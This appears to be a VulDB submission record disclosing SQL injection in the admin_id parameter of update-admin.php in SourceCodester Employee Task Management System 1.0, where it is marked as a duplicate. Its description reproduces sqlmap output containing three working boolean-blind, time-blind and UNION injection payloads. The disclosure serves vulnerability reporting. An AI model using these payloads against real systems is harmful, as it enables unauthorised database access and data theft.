| Title | SourceCodester Employee Task Management System v 1.0 SQL Injection in param update-admin.php?admin_id= |
|---|
| Description | SQL injection in admin_id parameter at
/update-admin.php?admin_id=
[20:03:10] [INFO] GET parameter 'admin_id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'admin_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: admin_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: admin_id=1' AND 4823=4823 AND 'fHuK'='fHuK
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: admin_id=1' AND (SELECT 2812 FROM (SELECT(SLEEP(5)))yoFD) AND 'eLUj'='eLUj
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: admin_id=-5229' UNION ALL SELECT CONCAT(0x7170716271,0x684d74644f51547249684d4d6a4c52687374496a74464b7a64634664425751574f56575873794e50,0x7176707071),NULL,NULL,NULL,NULL,NULL,NULL-- - |
|---|
| Source | ⚠️ https://github.com/tht1997/WhiteBox/blob/main/sourcecodester/employee-management-system-php.md |
|---|
| User | huutuanbg97 (UID 45015) |
|---|
| Submission | 03/15/2024 14:13 (3 years ago) |
|---|
| Moderation | 03/16/2024 07:14 (17 hours later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 257054 [SourceCodester Employee Task Management System 1.0 update-admin.php admin_id sql injection] |
|---|
| Points | 0 |
|---|